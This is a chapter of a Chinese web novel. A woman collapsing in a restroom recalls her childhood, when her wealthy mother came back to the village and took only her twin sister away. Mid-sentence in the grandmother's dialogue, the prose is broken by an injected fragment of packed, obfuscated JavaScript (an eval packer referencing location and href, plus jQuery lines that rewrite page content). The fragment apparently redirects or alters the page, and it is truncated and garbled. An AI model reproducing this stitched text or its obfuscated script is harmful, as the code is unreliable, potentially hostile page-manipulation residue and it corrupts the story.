幸运宝贝 作品
41. 第 41 章
门口有喊声。
张情抬起头,世界变得缓慢了,她看见几个人,好像认识好像不认识,围了过来,聚了过来。
眼睛一眨似乎看见另一个世界。
风吹来,身体哆嗦了一下。张情睁大眼睛,看见一张晒得蜡黄而发黑的脸,剑眉紧皱,一脸严肃,像四十年代画像上一本正经的老干部的脸。张情记得这张脸,她曾经喜欢过好多年,后来也挺喜欢的,但是……
“张情。”
低沉的声音让她浑身一震,她突然想起什么,抬起眼,这一次,视野透明,她看见余有为,看见陈宇南,看见悦凌凌,看见平月,还看见梁威,他们跟在梁威身后,往厕所走过来。
不……
她可以死,但决计不能让人看见她的狼狈。
“嘭!”撞上门,一把扣上反锁。一系列需要用力的动作消耗了她最后的力量。她跌坐在地上。滑溜溜、蠕黏黏的大肠贴在两股和瓷砖之间,是蠕软的触感。
她已经分辨不出这种感觉是舒适还是令人恶心。身后的门被拍响,梁威的身影占据整张玻璃,他俯身在玻璃上,想隔着门看她。
“张情,你开门。”
张情摇摇头,不开。
不可能让他们看见这样的她,更不可能让梁威看见这样的她。
“张情。”
“你怎么了?”
“开门啊。”
不知道是谁在叫她,她听不清了。
人靠在玻璃门上,视野是模糊的。后背的冷玻璃让她起了鸡皮疙瘩,浑身发颤。像冬天的夜晚,也像深秋的早晨。
张情不记得那天是什么季节,好像是晚上,也好像是早上。一辆车开进胡同,黑色的轿车,黑得发亮。能发亮应该是白天吧?张情想。
那就是白天,亮得惊眼的轿车门推开,一个穿西装制服的男人下车——张情从来没见过那样的衣服,工整,笔直,服帖,昂贵,像将布贴在人的身上裁剪缝制的。
她是云城清溪镇的,虽然在镇上,但家比较穷。她穿的衣服是外婆买的布自己裁自己缝的。每一件都得缝大些,这样能穿好几年。那是张情第一次看见贵衣服,一眼记了几十年。
小城市的小镇人口不多,在一九九几年,当一辆油亮亮的轿车开进来,立刻吸引了所有人的注意力。车头上立着银的三角形,其实是银色,但据摸过的人说肯定是银子。
那是连镇长都开不起的轿车。长长的。黑色的。停在了张情家门口,张情和妹妹和外婆像木愣子似的,听外面有人喊“张家婆子,你家来轿车啦”,然后三个人就好奇地跑出去,傻愣在门口,看那辆黑色的轿车从驾驶室下来一个西装革履的男人。
男人很得体,至少张情只在长大后的大城市见过这样的男人。他弯腰时挽住从脖颈惯性掉下来的领带,另一只手拉开后排的车门,而后站在车门后面等。
先出来的是一只漂亮的高跟鞋,鞋跟又细又长,点缀着闪闪发亮的钻石,美得闪瞎了张情的眼。她盯着那双好看干净的高跟鞋轻轻落在灰尘厚厚的地上,那一瞬间,张情在后悔今天起迟了没扫门口,不然这双高跟鞋就能踩在干净的青石板上。
那是一个漂亮的女人,细长的腿在旗袍之间若隐若现,肩上披着看起来就很高贵的深紫色披肩,边缘缀着一圈柔软的狐狸毛。
张情盯着这个女人,眼里尽是羡慕的光。
那个女人垂下眼,望着这个不足她腰高的女孩,笑了,“你就是阿情吧。”
她笑起来,很温柔,也很魅惑。张情看痴了,外婆在耳边说叫妈妈,她也没听见。那个女人轻轻摸了摸她的头顶,就转向另一边,那里站着张情的妹妹。她和张情几乎是一个模子刻出来的,眼睛、鼻子、嘴唇、脖颈,哪怕是身高,都一模一样。只是妹妹眉毛尾部的下方一点点,眼皮之上有一颗小小的红痣。
妹妹叫阿姣。她抬眼看女人,娇脆脆地叫了一声妈妈。
女人当即笑得更开心了,手摸着阿姣的眼睛,说真好看。那颗小小的红痣在她抬眼之间,衬得她像一朵娇嫩欲滴的清晨玫瑰,鲜艳娇媚。
“妈。”女人对张家阿婆说,“我回来了,只待两天,明天就走。”
“诶诶诶好!快进来快进来。”外婆笑呵呵的请她进去,“多少年没回来啦,在外面过得好吗?怎么不多待几天?阿情和阿姣很想你。”
张情和张姣站在门口,看他们的妈妈挽着披肩踩着高跟鞋一步一步踩进堂屋,高跟鞋咚咚的声音像踩在张情的心上,让她生出无限羡慕和愉悦。她的妈妈很美,走路都很美,像画里面出来的,身姿摇曳,尽是风情。
妈妈进了堂屋,昏暗的堂屋将她的身影盖住,只剩下模糊的影。外婆点上油灯。
张情扭头看门外的男人。阿婆也在看。妈妈说:“他啊,老张家的司机。”
阿婆笑着请他进来坐,说这一路辛苦你啦。阿婆让阿姣去倒水,阿姣摇头说不要。张情就去倒水来,拿来帕子给他们洗脸洗手。
那时候的规矩,客人进屋是远道而来,身上肯定染了污脏,要用热水洗一洗,净一净,才能玩得更舒服。
男人不懂,但张情拧干帕子,他也接住了。妈妈说她化了妆,洗不得脸。她叫阿姣过去,搂着阿姣在腿边,问阿姣今年几岁了,上学没有。
说起来这个,外婆就叹气。书是在读,却都不爱学,学着学着就丢。外婆有些心疼钱,又有些心疼两个孙女,才四岁就要去上学,每天起大早,累。外婆说阿情的成绩要好些。
妈妈点点头。
张情满怀期待妈妈看过来夸一句,随便一句什么都可以。但她没有,只是搂着妹妹,笑着说别的话。
妈妈对外婆说,阿姣像我。
外婆揽过张情,抱在怀里,说都像。
外婆身上有一股甜甜的香,令人安心。张情原本有点不开心,被外婆一抱,所有坏掉的情绪都烟消云散了。她窝在外婆怀里,用脸蹭外婆暖暖的怀抱。
妈妈很挑食,外婆做了一大桌菜,很多肉,鸡肉、鱼肉、猪肉,平时张情和张姣只能吃少少的一点肉,今天好多肉,妈妈都不怎么吃,只用筷子撩了两颗米放进嘴里,嚼嚼。再拣一片青菜,只吃叶子,把菜根放置在桌上。
这样浪费,但张情只敢看着。外婆笑着问是做咸了还是油放少了?妈妈说没事,吃着累而已。
外婆说回来一趟需要多久呀?妈妈说十几个小时吧。外婆心疼坏了,说那你快些吃完了去睡觉吧。睡我的屋,床单和被套重新铺过了。
妈妈把筷子一搁,让司机把行李箱拿进来。那是一个大箱子,里面装满了各式各样的华丽衣服,被搬进外婆睡的屋里。
晚上,外婆和张情、张姣挤在一张窄窄的床上睡。司机在柴房用稻草打地铺。
夜里,睡不着,张情问外婆为什么妈妈不在家里住,要去外面。外婆说妈妈结婚了,丈夫在很远的地方,所以妈妈要在那里。张情问是我们的爸爸吗,外婆说是。张情问为什么爸爸不回来。外婆说快睡吧。
张情是很听外婆的话的。闭上眼睛,但还是睡不着,小小身体在外婆的怀里蠕来蠕去。
张姣也睡不着,问外婆,爸爸妈妈很有钱吗。张情不蠕了,睁开眼睛望着外婆。外婆说应该有吧。张姣问那他们为什么不接我和姐姐过去。外婆说他们太忙了。张姣问那妈妈会给我们钱吗。张情说妈妈肯定很有钱,她是坐车回来的,她肯定会给我们钱,我们还要吃饭上学呢。
外婆说阿情别这样说,妈妈也很辛苦。
……
第二天,张情起很早,在灶房烧水,一大锅的热水,另一口大锅熬着粥。她想等会妈妈醒来,就可以洗上热水脸,吃上热乎饭了。妈妈那么远回来,很辛苦,喝粥最好。外婆生病的时候,喝粥就好得快。
水烧开了,粥煮熟了,太阳晒亮了天空,隔着院落大门,外面有嘈杂的声音,是那些远的近的围在她家门口看车。
妈妈还没起来。外婆也没起来。张姣从茅房出来,揉着眼睛又回屋里继续睡了。
张情将灶肚里的火减成最小,让水和粥慢吞吞地温着。她想妈妈太累了,肯定要多睡会。
结果日上三竿了,妈妈和外婆还没起来。张姣已经醒了,蹲在院子里漱口。张情问她外婆醒了吗。张姣吐出嘴里的水,说早醒啦,在妈妈房里。
灶肚里的火全熄了。张情又添一些,又烧熄了,粥都快熬干了,她不敢加火了,只能盖着锅盖防止热气跑走。
快中午了。张姣不知道上哪儿去了。张情几乎能感受到锅里的水和粥有些变凉了。
深秋就是这样,所有东西都冷得极快。
张情从灶房出来,往妈妈睡的屋子走。她跨进堂屋,转进睡觉的里屋。里屋的门关着,但站在门外,能听见外婆和妈妈说话的声音。她们的声音不大,可那时的门不隔音。
外婆说,阿情和阿姣越来越大了,阿情是个聪明孩子,读书很好,学校老师说她看一遍就能记着。阿姣虽然读书不好,但人很乖。我年纪也越来越大了,养不了多少年了,你这次回来就把她们带走吧,让阿情好好读书,阿姣随便学个什么都好,有你和他在,两个孩子不会吃亏的。
妈妈说我这次回来就是想带走,他嫌家里清净,想要个孩子了。与其让外面的人生,不如我带过去。
外婆没说话。妈妈也没说话。张情不懂她们为什么不说话,妈妈要带走她和妹妹,不是外婆最希望的吗?虽然张情很舍不得外婆,但是她也很喜欢妈妈,想和妈妈在一起。
许久之后,外婆叹口气,问:“两个……不行吗?”
妈妈没出声。
外婆又叹气,“你想带谁?”
妈妈说:“阿姣。她像我。”
外婆说:“阿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15138497|160543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情也像,她和你一样聪明。你小时候……”
妈妈打断她,说别说以前的事了,你怎么老爱回想以前的事,以前多不好,没吃没喝没穿。现在多好,吃不完穿不完用不完。你也是太节省了,我给你打那么多钱,你该买就买,你不用,我以后就不给你打钱了。
外婆说我不说以前了。钱够用,你留着自己用吧,养一个孩子是很难的,想带阿姣就让她跟你去吧。你那边生活得好一点,让阿姣去……外婆叹一口气,阿情……
妈妈有点烦了,语气变得极度冷淡,别说阿情了。
外婆紧张地搓着手,连连答应好好好,我不说了。
……
张情不知道自己怎么回灶房了,锅里的水冷了,粥也冷了。她坐在灶肚前,刚烧完火的灶肚没有一点温度,变得冰凉凉的。冻得她浑身发抖。
她想不明白,妈妈的生活那么好,开着镇长都开不起的轿车,为什么只接妹妹过去,不要她?她哪里不好?是因为她没有第一时间叫妈妈吗?可是她从生下来到现在,在她的记忆里,这是第一次见妈妈,她不知道她是妈妈啊……
张姣跑进来,说阿姐,我饿了。
张情站起身,掀开锅盖,冷却的水蒸气从锅盖滴滴答答流了一地,流到手上,凉得浸骨头。
张情说冷了,你坐会儿,我热一热。
张姣踩在板凳上,踮起脚尖往锅里看,笑嘻嘻说阿姐粥都变干饭啦,再热就糊啦。
张情说那我给你烧个地瓜。张姣说阿姐,我想吃鸡肉,昨晚的肉还没吃完。张情说好,那我把鸡肉撕一撕放在粥里,再舀一勺鸡汤,用搪瓷杯装着坐在灶肚里热。张姣开心地跑了。
张情热好了鸡汤饭,用毛巾裹着,端到堂屋去。妈妈的房间里还有说话声,只不过这一次是和阿姣说话。妈妈问阿姣愿意跟她回家吗。声音是那样的温柔。
张姣脆生生的声音很大,说愿意,我想跟妈妈回家。
妈妈笑了。
张姣问,姐姐和外婆也去吗。
妈妈说,不去哦,外婆舍不得家,姐姐舍不得外婆。
张姣嘟着嘴,说我也舍不得,舍不得外婆和阿姐。
妈妈摸着阿娇的头,说她们以后会来,这样阿姣还和妈妈一起走吗,妈妈很想阿姣所以才回来的。
妈妈是那样的难过,垂着头,声音发哑。张姣皱着脸,用小小的手摸着妈妈的脸,说妈妈你别伤心,阿姣跟你回家,以后我们再接外婆和阿姐回家。
妈妈一把抱住阿姣,望着昏暗的空洞,说阿姣真乖。
……
阿姣走得突然,午饭都不吃就要走。张情想去给她收拾衣服都来不及。妈妈说这些东西用不着,到了那边,会全部买新的。
张姣拉着阿姐的手,一脸不舍。张情扯出一个漂亮的笑容,说你跟妈妈去要听话。
张姣点点头。
张情还想说什么,妈妈说时间很迟了,再不走,天就黑了。
明明才到中午。
司机把妈妈的行李箱搬上车,妈妈往大门走了几步,回头叫阿姣,说走了。
张情紧紧拽住张姣的手。张姣哭了,泪水糊满一整张脸。张情也快哭了,这是她第一次离开妹妹,也许以后很多年很多年都见不着了。
她不知道该怎么安慰妹妹,但她知道自己不能哭,只要她哭,妹妹肯定哭得更凶。
她丢开妹妹的手,跑进堂屋,把那蛊粥端出来,连同勺子一并塞到阿姣手里,说你不是饿了吗,带到车上吃吧。
张姣捧着滚烫的鸡汤粥,又被妈妈催了一声,才扭头跟着上了车。
她人小小的,一钻就进了车里,小小的团在妈妈的身边,双手捧着掉了漆的搪瓷杯。与那辆发亮发光的昂贵轿车格格不入。
张情还是没忍不住流出泪来。车门被关上了。司机坐进车里,将车开走了。
张情追在后面。只看见汽车尾巴排出来的乌青色的尾气和灰尘。
张姣牢牢扒在车窗上,隔着雾蒙蒙黑压压的车玻璃,看姐姐的身影越来越远,越来越远,渐渐看不见了。外婆也看不见了,她的家看不见了。
“这什么东西,烫死我了。”身后传来妈妈的声音。
张姣扭头。看见阿姐给她煮的那蛊粥洒了,在黑色的皮椅上到处流,打湿了妈妈的裙子,烫着妈妈了。
张姣慌张地用手去抹那些粥,想将它们从妈妈身边拦开。
妈妈厌恶地皱眉,说这么多年了还用这么破烂的东西,烦人。车玻璃在她那边降下来,张姣的视线变得清晰了,她看见外面枯黄干涸的田地,蓝色的天和雪白的云,只蓝了一会儿,就被乌云盖成黑压压的一片。
妈妈捞起那蛊粥,扔出了车窗。
“妈妈!”
张姣失声尖叫。
妈妈说,张姣,你听清楚,到家的第一条规矩就是不能大声尖叫。